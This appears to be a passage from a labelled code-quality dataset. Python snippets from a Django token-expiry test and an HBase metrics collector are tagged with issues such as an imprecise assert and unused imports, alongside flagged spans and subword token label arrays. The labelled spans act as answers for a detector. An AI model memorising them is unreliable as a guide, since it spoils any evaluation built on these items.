"\\u", "macro", "data_", "(_", ")_", "._", "view_", "(_", "(_", "float_", ",_", "3_", ")_", ",_", "type_", "=_", "np_", "._", "ndarray_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "model_", "=_", "sm_", "._", "tsa", "_", "._", "VAR_", "(_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "results_", "=_", "model_", "._", "fit_", "(_", "4_", ")_", "#", ",", " ", "trend", " ", "=", " ", "'", "c", "')", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ir", "f_", "=_", "results_", "._", "ir", "f_", "(_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "data\\u", "nc_", "=_", "data_", "-_", "data_", "._", "mean_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "model", "\\u", "nc_", "=_", "sm_", "._", "tsa", "_", "._", "VAR_", "(_", "data\\u", "nc_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "results", "\\u", "nc_", "=_", "model", "\\u", "nc_", "._", "fit_", "(_", "4_", ",_", "trend", "_", "=_", "'", "nc", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "raises_", "(_", "Value", "Error_", ",_", "model_", "._", "fit_", ",_", "4_", ",_", "trend", "_", "=_", "'", "t", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Imprecise assert
JamesRitchie/django-rest-framework-expiring-tokens/tests/test_views.py
[ { "content": " def test_post_expired_token(self):\n \"\"\"Check that expired tokens are replaced.\"\"\"\n token = ExpiringToken.objects.create(user=self.user)\n key_1 = token.key\n\n # Make the first token expire.\n with self.settings(EXPIRING_TOKEN_LIFESPAN=timedelta(milliseconds=1)):\n sleep(0.001)\n response = self.client.post(\n '/obtain-token/',\n {\n 'username': self.username,\n 'password': self.password\n }\n )\n\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n\n # Check token was renewed and the response contains the token key.\n token = ExpiringToken.objects.first()\n key_2 = token.key\n self.assertEqual(token.user, self.user)\n self.assertEqual(response.data['token'], token.key)\n self.assertTrue(key_1 != key_2)", "metadata": "root.ObtainExpiringTokenViewTestCase.test_post_expired_token", "header": "['class', 'ObtainExpiringTokenViewTestCase', '(', 'APITestCase', ')', ':', '___EOS___']", "index": 92 } ]
[ { "span": "self.assertTrue(key_1 != key_2)", "start_line": 115, "start_column": 8, "end_line": 115, "end_column": 39 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "Obtain", "Expir", "ing", "Token", "View", "Test", "Case_", "(_", "API", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "post", "\\u", "expir", "ed", "\\u", "token_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Check", " ", "tha", "t", " ", "expir", "ed", " ", "token", "s", " ", "are", " ", "replaced", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "token_", "=_", "Expir", "ing", "Token_", "._", "objects_", "._", "create_", "(_", "user_", "=_", "self_", "._", "user_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "key", "\\u", "1_", "=_", "token_", "._", "key_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Make", " ", "the", " ", "first", " ", "token", " ", "expir", "e", "._", "\\u\\u\\uNL\\u\\u\\u_", "with_", "self_", "._", "settings_", "(_", "EXP", "IRI", "NG", "\\u", "TOKEN", "\\u", "LIF", "ESP", "AN_", "=_", "timedelta_", "(_", "milliseconds", "_", "=_", "1_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sleep_", "(_", "0.001_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "self_", "._", "client_", "._", "post_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "'/", "obtain", "-", "token", "/'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "user", "name", "'_", ":_", "self_", "._", "username_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "password", "'_", ":_", "self_", "._", "password_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "._", "status", "\\u", "code_", ",_", "status_", "._", "HTTP", "\\u", "200", "\\u", "OK_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Check", " ", "token", " ", "was", " ", "renew", "ed", " ", "and", " ", "the", " ", "response", " ", "contain", "s", " ", "the", " ", "token", " ", "key", "._", "\\u\\u\\uNL\\u\\u\\u_", "token_", "=_", "Expir", "ing", "Token_", "._", "objects_", "._", "first_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "key", "\\u", "2_", "=_", "token_", "._", "key_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "token_", "._", "user_", ",_", "self_", "._", "user_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "._", "data_", "[_", "'", "token", "'_", "]_", ",_", "token_", "._", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "key", "\\u", "1_", "!=_", "key", "\\u", "2_", ")_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
Unused import
XiaoMi/minos/owl/collector/management/commands/metrics_updater.py
[ { "content": "import Queue\nimport datetime\nimport json\nimport logging\nimport os\nimport socket\nimport time\nimport traceback\n\nfrom collect_utils import METRIC_TASK_TYPE, STATUS_TASK_TYPE, AGGREGATE_TASK_TYPE\nfrom collect_utils import QueueTask\nfrom django.db import connection\nfrom monitor import dbutil\nfrom monitor import metric_helper\nfrom monitor.models import Region, RegionServer, Table, HBaseCluster\n\nREGION_SERVER_DYNAMIC_STATISTICS_BEAN_NAME = \"hadoop:service=RegionServer,\" \\\n \"name=RegionServerDynamicStatistics\"\nREGION_SERVER_BEAN_NAME = \"hadoop:service=RegionServer,name=RegionServer\"\nREGION_SERVER_REPLICATION_BEAN_NAME_PREFIX = \"hadoop:service=Replication,\" \\\n \"name=ReplicationSource for\"\n\nBOOL_METRIC_MAP = {\n \"tag.IsOutOfSync\": \"true\",\n \"tag.HAState\": \"active\",\n}\n\nHBASE_AGGREGATED_METRICS_KEY = ['memStoreSizeMB',\n 'storefileSizeMB',\n 'readRequestsCount',\n 'writeRequestsCount',\n 'readRequestsCountPerSec',\n 'writeRequestsCountPerSec',\n ]\n\nlogger = logging.getLogger(__name__)\n\n# global functions for subprocesses to handling metrics\n\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def reset_aggregated_metrics(record):\n for key in HBASE_AGGREGATED_METRICS_KEY:\n setattr(record, key, 0)", "metadata": "root.reset_aggregated_metrics", "header": "['module', '___EOS___']", "index": 38 }, { "content": "def aggregate_metrics(from_record, to_record):\n for key in HBASE_AGGREGATED_METRICS_KEY:\n old_value = getattr(to_record, key)\n setattr(to_record, key, old_value + getattr(from_record, key))", "metadata": "root.aggregate_metrics", "header": "['module', '___EOS___']", "index": 42 }, { "content": "def analyze_hbase_region_server_metrics(metric_task, metrics):\n region_server_name = None\n region_operation_metrics_dict = {}\n replication_metrics_dict = {}\n for bean in metrics['beans']:\n try:\n # because root and meta region have the names, we must use region server\n # name and region name to locate a region\n if bean['name'] == REGION_SERVER_BEAN_NAME:\n region_server_name = bean['ServerName']\n elif bean['name'] == REGION_SERVER_DYNAMIC_STATISTICS_BEAN_NAME:\n for metricName in bean.keys():\n if Region.is_region_operation_metric_name(metricName):\n encodeName = Region.get_encode_name_from_region_operation_metric_name(metricName)\n region_operation_metrics = region_operation_metrics_dict.setdefault(encodeName, {})\n region_operation_metrics[metricName] = bean[metricName]\n elif bean['name'].startswith(REGION_SERVER_REPLICATION_BEAN_NAME_PREFIX):\n peerId = metric_helper.parse_replication_source(bean['name'])\n replication_metrics = replication_metrics_dict.setdefault(peerId, {})\n for metricName in bean.keys():\n replication_metrics[metricName] = bean[metricName]\n except Exception as e:\n logger.warning(\"%r failed to analyze metrics: %r\", metric_task, e)\n continue\n\n region_server = None\n if region_server_name is None:\n return\n else:\n try:\n region_server = RegionServer.objects.get(name = region_server_name)\n except RegionServer.DoesNotExist:\n logger.warning(\"%r failed to find region_server with region_server_name=%s\",\n metric_task, region_server_name)\n return\n\n # save replication metrics for region server\n region_server.replication_last_attempt_time = metric_task.last_attempt_time\n region_server.replicationMetrics = json.dumps(replication_metrics_dict)\n region_server.save()\n\n region_record_need_save = []\n for encodeName, operationMetrics in region_operation_metrics_dict.iteritems():\n region_record = dbutil.get_region_by_regionserver_and_encodename(\n region_server, encodeName)\n # we must wait region saved after analyzing master task\n if region_record is None:\n continue\n region_record.analyze_from_region_server_operation_metrics(operationMetrics,\n metric_task.last_attempt_time)\n # we first buffer the regions needed to update, then do batch update\n region_record_need_save.append(region_record)\n\n # we do batch update\n begin = datetime.datetime.now()\n dbutil.update_regions_for_region_server_metrics(region_record_need_save)\n logger.info(\"%r batch save region record for region_server, \" \\\n \"saved regions=%d, consume=%s\",\n metric_task, len(region_record_need_save),\n str((datetime.datetime.now() - begin).total_seconds()))", "metadata": "root.analyze_hbase_region_server_metrics", "header": "['module', '___EOS___']", "index": 47 }, { "content": "def get_host_and_port_from_region_server_name(rs_name):\n # rs name format is formatted as : host_name,port,start_code.\n # for some cluster, the format may be : host_ip,port,start_code.\n # we will try to convert host_ip to coprresonding host_name\n # because we always try to save host_name and port to identity a task\n # except that we can't get host_name from host_ip\n tokens = rs_name.split(',')\n host = tokens[0] # may be host_name or host_ip\n host_name = None\n try:\n host_name = socket.gethostbyaddr(host)[0]\n except:\n logger.warning(\"can't get host_name for host=%s\", host)\n host_name = host\n # jmx port is rs_port + 1, host and jmx port will identify a task\n port = int(tokens[1]) + 1\n return [host_name, port]", "metadata": "root.get_host_and_port_from_region_server_name", "header": "['module', '___EOS___']", "index": 108 }, { "content": "def analyze_hbase_master_metrics(metric_task, metrics):\n cluster = metric_task.job.cluster\n hbase_cluster_record, created = HBaseCluster.objects.get_or_create(cluster=cluster)\n reset_aggregated_metrics(hbase_cluster_record)\n tables = {}\n region_record_need_save = []\n for bean in metrics['beans']:\n try:\n if 'RegionServers' not in bean:\n continue\n for rs_metrics in bean['RegionServers']:\n rs_name = rs_metrics['key']\n [rs_hostname, rs_port] = get_host_and_port_from_region_server_name(rs_name)\n rs_task = dbutil.get_task_by_host_and_port(rs_hostname, rs_port)\n rs_record, created = RegionServer.objects.get_or_create(cluster = cluster,\n task = rs_task)\n # region server name includes startTime, which means the same region server\n # will lead different RegionServer records if the region server restarts.\n # Therefore, we won't create region server by its name.\n rs_record.name = rs_name\n\n rs_value = rs_metrics['value']\n rs_record.last_attempt_time = metric_task.last_attempt_time\n rs_record.load = int(rs_value['load'])\n rs_record.numberOfRegions = int(rs_value['numberOfRegions'])\n reset_aggregated_metrics(rs_record)\n\n # we read out all regions belong to this region server and build a map\n all_regions_in_rs = Region.objects.filter(region_server = rs_record)\n all_regions_in_rs = dbutil.get_alive_regions_by_rs(rs_record)\n all_regions_map = {}\n logger.info(\"%r Finish get region: %d\", metric_task, len(all_regions_in_rs))\n for region in all_regions_in_rs:\n all_regions_map[region.name] = region\n\n regionsLoad = rs_value['regionsLoad']\n for region_metrics in regionsLoad:\n region_value = region_metrics['value']\n region_name = region_value['nameAsString']\n try:\n table_name = region_name.split(',')[0]\n except Exception as e:\n logger.warning(\"%r failed to get region name: %r, %s\",\n metric_task, e, region_name)\n continue\n\n region_metrics = {}\n\n if table_name not in tables:\n table_record, created = Table.objects.get_or_create(cluster = cluster,\n name = table_name)\n reset_aggregated_metrics(table_record)\n tables[table_name] = table_record\n\n table_record = tables[table_name]\n\n region_record = None\n if region_name in all_regions_map:\n region_record = all_regions_map[region_name]\n else:\n # if region record not in buffer, we get_or_create from db\n begin = datetime.datetime.now()\n region_record, created = Region.objects.get_or_create(table = table_record,\n name = region_name, encodeName = Region.get_encode_name(region_name),\n defaults={\"region_server\":rs_record})\n logger.info(\"%r get_or_create region in region_server from mysql, \" \\\n \"consume=%s, region_name=%s, buffered_rs=%s, get_rs=%s\",\n metric_task, str((datetime.datetime.now() - begin).total_seconds()),\n region_name, rs_record.name, region_record.region_server.name)\n\n\n logger.info(\"%r Finish analyze regionsLoad\", metric_task)\n\n region_record.region_server = rs_record\n region_record.analyze_region_record(region_value,\n metric_task.last_attempt_time)\n # we buffer the regions needed update for batch update\n region_record_need_save.append(region_record)\n aggregate_metrics(region_record, rs_record)\n aggregate_metrics(region_record, table_record)\n aggregate_metrics(region_record, hbase_cluster_record)\n\n rs_record.save()\n\n for table_record in tables.itervalues():\n table_record.last_attempt_time = metric_task.last_attempt_time\n table_record.availability = dbutil.getTableAvailability(\n table_record.cluster.name, table_record.name)\n table_record.save()\n\n hbase_cluster_record.save()\n\n # do batch update\n begin = datetime.datetime.now()\n dbutil.update_regions_for_master_metrics(region_record_need_save)\n logger.info(\"%r batch save region record for master, \" \\\n \"saved regions=%d, consume=%s\",\n metric_task, len(region_record_need_save),\n str((datetime.datetime.now() - begin).total_seconds()))\n except Exception as e:\n traceback.print_exc()\n logger.warning(\"%r failed to analyze metrics: %r\", metric_task, e)\n continue", "metadata": "root.analyze_hbase_master_metrics", "header": "['module', '___EOS___']", "index": 126 }, { "content": "def analyze_metrics(metric_task, metrics):\n if 'beans' not in metrics:\n return\n # analyze hbase metric\n if metric_task.job.cluster.service.name == 'hbase':\n start_time = time.time()\n if metric_task.job.name == 'master':\n analyze_hbase_master_metrics(metric_task, metrics)\n elif metric_task.job.name == 'regionserver':\n analyze_hbase_region_server_metrics(metric_task, metrics)\n\n logger.info(\"%r spent %f seconds for analyzing metrics for hbase\",\n metric_task, time.time() - start_time)", "metadata": "root.analyze_metrics", "header": "['module', '___EOS___']", "index": 230 }, { "content": "def update_metrics_in_process(output_queue, metric_task):\n try:\n logger.info(\"Updating metrics in process %d\", os.getpid())\n # get the metrics raw data from task.last_metrics_raw\n metricsRawData = metric_task.last_metrics_raw\n\n start_time = time.time()\n # analyze the metric if needed\n if metric_task.need_analyze:\n if metricsRawData:\n metrics = json.loads(metricsRawData)\n metrics_saved = {}\n for bean_output in metrics[\"beans\"]:\n bean_name = bean_output[\"name\"]\n for metric_name, metric_value in bean_output.iteritems():\n if metric_name in [\"name\", \"modelerType\"]:\n continue\n metric_type = type(metric_value)\n # Do some hadoop/hbase specific work :)\n if metric_name in BOOL_METRIC_MAP:\n metric_value = int(metric_value == BOOL_METRIC_MAP[metric_name])\n elif metric_type is list or metric_type is dict:\n # Just store the length.\n metric_value = len(metric_value)\n elif metric_type is bool:\n metric_value = int(metric_value)\n elif metric_value is None:\n metric_value = 0\n elif not (metric_type is int or metric_type is float\n or metric_type is unicode or metric_type is str):\n logger.warning(\"Unexpected metric type %s/%s: %r/%r\",\n bean_name, metric_name, metric_type, metric_value)\n continue\n\n group = metrics_saved.setdefault(bean_name, {})\n group[metric_name] = metric_value\n metric_task.last_metrics = json.dumps(metrics_saved)\n\n analyze_metrics(metric_task, metrics)\n\n metric_task.save()\n logger.info(\"%r spent %f seconds for saving task status\",\n metric_task, time.time() - start_time)\n # just put the corresponding metric_source id back to the output queue\n output_queue.put(QueueTask(METRIC_TASK_TYPE, metric_task.metric_source_id))\n except Exception, e:\n logger.warning(\"%r failed to update metric: %r\", metric_task, e)\n traceback.print_exc()", "metadata": "root.update_metrics_in_process", "header": "['module', '___EOS___']", "index": 244 } ]
[ { "span": "import Queue", "start_line": 0, "start_column": 0, "end_line": 0, "end_column": 12 }, { "span": "from collect_utils import METRIC_TASK_TYPE, STATUS_TASK_TYPE, AGGREGATE_TASK_TYPE", "start_line": 9, "start_column": 0, "end_line": 9, "end_column": 81 }, { "span": "from django.db import connection", "start_line": 11, "start_column": 0, "end_line": 11, "end_column": 32 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "Queue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "datetime_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "logging_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "socket_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "traceback_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "collect", "\\u", "utils_", "import_", "METRIC", "\\u", "TASK", "\\u", "TYPE_", ",_", "STATUS", "\\u", "TASK", "\\u", "TYPE_", ",_", "AGG", "REG", "ATE", "\\u", "TASK", "\\u", "TYPE_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "collect", "\\u", "utils_", "import_", "Queue", "Task_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "db_", "import_", "connection_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "monitor_", "import_", "dbu", "til_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "monitor_", "import_", "metric", "\\u", "helper_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "monitor_", "._", "models_", "import_", "Region_", ",_", "Region", "Server_", ",_", "Table_", ",_", "HB", "ase", "Cluster_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "REGION", "\\u", "SERVER", "\\u", "DYNAMIC", "\\u", "STATI", "STIC", "S", "\\u", "BEA", "N", "\\u", "NAME_", "=_", "\"", "hadoop", ":", "service", "=", "Region", "Server", ",\"_", "\"", "name", "=", "Region", "Server", "Dynamic", "Statistic", "s", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "REGION", "\\u", "SERVER", "\\u", "BEA", "N", "\\u", "NAME_", "=_", "\"", "hadoop", ":", "service", "=", "Region", "Server", ",", "name", "=", "Region", "Server", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "REGION", "\\u", "SERVER", "\\u", "REPLICA", "TIO", "N", "\\u", "BEA", "N", "\\u", "NAME", "\\u", "PREFIX_", "=_", "\"", "hadoop", ":", "service", "=", "Replica", "tion", ",\"_", "\"", "name", "=", "Replica", "tion", "Sou", "rce", " ", "for", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "BOO", "L", "\\u", "METRIC", "\\u", "MAP_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "tag", ".", "Is", "Out", "Of", "Sync", "\"_", ":_", "\"", "true", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "tag", ".", "HAS", "tate", "\"_", ":_", "\"", "active", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "HB", "AS", "E", "\\u", "AGG", "REG", "ATED", "\\u", "METRICS", "\\u", "KEY_", "=_", "[_", "'", "mem", "Stor", "e", "Size", "MB", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "store", "file", "Size", "MB", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "read", "Request", "s", "Count", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "write", "Request", "s", "Count", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "read", "Request", "s", "Count", "Per", "Sec", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "write", "Request", "s", "Count", "Per", "Sec", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "logger_", "=_", "logging_", "._", "get", "Logger_", "(_", "\\u\\u", "name\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "global", " ", "function", "s", " ", "for", " ", "subproc", "esse", "s", " ", "to", " ", "handling", " ", "metrics_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "reset", "\\u", "aggregated", "\\u", "metrics_", "(_", "record_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "key_", "in_", "HB", "AS", "E", "\\u", "AGG", "REG", "ATED", "\\u", "METRICS", "\\u", "KEY_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "setattr_", "(_", "record_", ",_", "key_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "aggre", "gate", "\\u", "metrics_", "(_", "from", "\\u", "record_", ",_", "to", "\\u", "record_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "key_", "in_", "HB", "AS", "E", "\\u", "AGG", "REG", "ATED", "\\u", "METRICS", "\\u", "KEY_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "old", "\\u", "value_", "=_", "getattr_", "(_", "to", "\\u", "record_", ",_", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "setattr_", "(_", "to", "\\u", "record_", ",_", "key_", ",_", "old", "\\u", "value_", "+_", "getattr_", "(_", "from", "\\u", "record_", ",_", "key_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "analyze", "\\u", "hbase", "\\u", "region", "\\u", "server", "\\u", "metrics_", "(_", "metric", "\\u", "task_", ",_", "metrics_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "region", "\\u", "server", "\\u", "name_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "region", "\\u", "operati", "on", "\\u", "metric", "s", "\\u", "dict_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "replication", "\\u", "metric", "s", "\\u", "dict_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "bean", "_", "in_", "metrics_", "[_", "'", "beans", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "bec", "aus", "e", " ", "root", " ", "and", " ", "meta", " ", "region", " ", "have", " ", "the", " ", "names", ",", " ", "we", " ", "must", " ", "use", " ", "region", " ", "server_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "name", " ", "and", " ", "region", " ", "name", " ", "to", " ", "locat", "e", " ", "a", " ", "region_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "bean", "_", "[_", "'", "name", "'_", "]_", "==_", "REGION", "\\u", "SERVER", "\\u", "BEA", "N", "\\u", "NAME_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "region", "\\u", "server", "\\u", "name_", "=_", "bean", "_", "[_", "'", "Server", "Name", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "bean", "_", "[_", "'", "name", "'_", "]_", "==_", "REGION", "\\u", "SERVER", "\\u", "DYNAMIC", "\\u", "STATI", "STIC", "S", "\\u", "BEA", "N", "\\u", "NAME_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "metric", "Name_", "in_", "bean", "_", "._", "keys_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "Region_", "._", "is", "\\u", "region", "\\u", "operati", "on", "\\u", "metric", "\\u", "name_", "(_", "metric", "Name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "encode", "Name_", "=_", "Region_", "._", "get", "\\u", "encode", "\\u", "name", "\\u", "from", "\\u", "region", "\\u", "operati", "on", "\\u", "metric", "\\u", "name_", 